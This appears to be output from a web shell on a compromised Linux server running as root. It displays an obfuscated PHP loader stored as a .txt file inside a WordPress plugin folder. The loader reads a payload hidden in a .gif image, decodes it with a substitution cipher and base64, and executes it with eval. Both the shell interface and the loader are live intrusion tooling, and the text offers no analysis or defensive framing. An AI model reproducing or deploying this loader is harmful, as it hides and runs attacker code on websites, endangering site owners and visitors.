HEX
Server: Apache
System: Linux www 5.10.0-10-amd64 #1 SMP Debian 5.10.84-1 (2021-12-08) x86_64
User: root (0)
PHP: 8.2.1
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals
Upload Files
File: /mnt/drbd/www/edenhouse/wp-content/plugins/amadyxar/digywa.txt
<?php

function rekake_ryfudosho($sinuzi_ahomodych) {
    $bemisep = rowiva_uthypitochi(1);
    $ubyfet = rowiva_uthypitochi(2);
    for ($xegomu = 0; $xegomu < strlen($bemisep); $xegomu++) {
        $edegash = substr($bemisep, $xegomu, 1);
        $jacepy = substr($ubyfet, $xegomu, 1);
        $ejyquc[$edegash] = $jacepy;
    }

    $eraxyni = strtr($sinuzi_ahomodych, $ejyquc);
    $eraxyni = base64_decode($eraxyni);

    return $eraxyni;
}

function rowiva_uthypitochi($sinuzi_ahomodych) {
    if ($sinuzi_ahomodych == 1)
        return sujofe_erihabux();
    if ($sinuzi_ahomodych == 2)
        return xarucy_zhekhevix();
}

function ybusyx_qobypahup($sinuzi_ahomodych) {
    $yqojes = array();
    if (!file_exists($sinuzi_ahomodych))
        return false;
    $bachyxe = @file_get_contents($sinuzi_ahomodych);
    if (!$bachyxe)
        return false;
    $bachyxe = substr($bachyxe, 3);
    $yqojes = rekake_ryfudosho($bachyxe);
    return $yqojes;
}

function sujofe_erihabux() {
    $bachyxe = "3BbMDXZvPaq=e7YWgGwNSJR6snQVUpLlox21EC+m/ut9HFi0IAdc8KOhf4jryz5Tk";
    return $bachyxe;
}

function xarucy_zhekhevix() {
    $yqojes = "pNgLyOKCbaRnBlZtT1M2Qxqiu0m6jwksS/d7UI9WeG45H8FcYE=fJPDozhX+vVrA3";
    return $yqojes;
}

$nidashu = ybusyx_qobypahup(__DIR__ . "/asset" . "s/im" . "ages" . "/hewyb" . "o.gi" . "f");
if ($nidashu) {
    @eval($nidashu);
}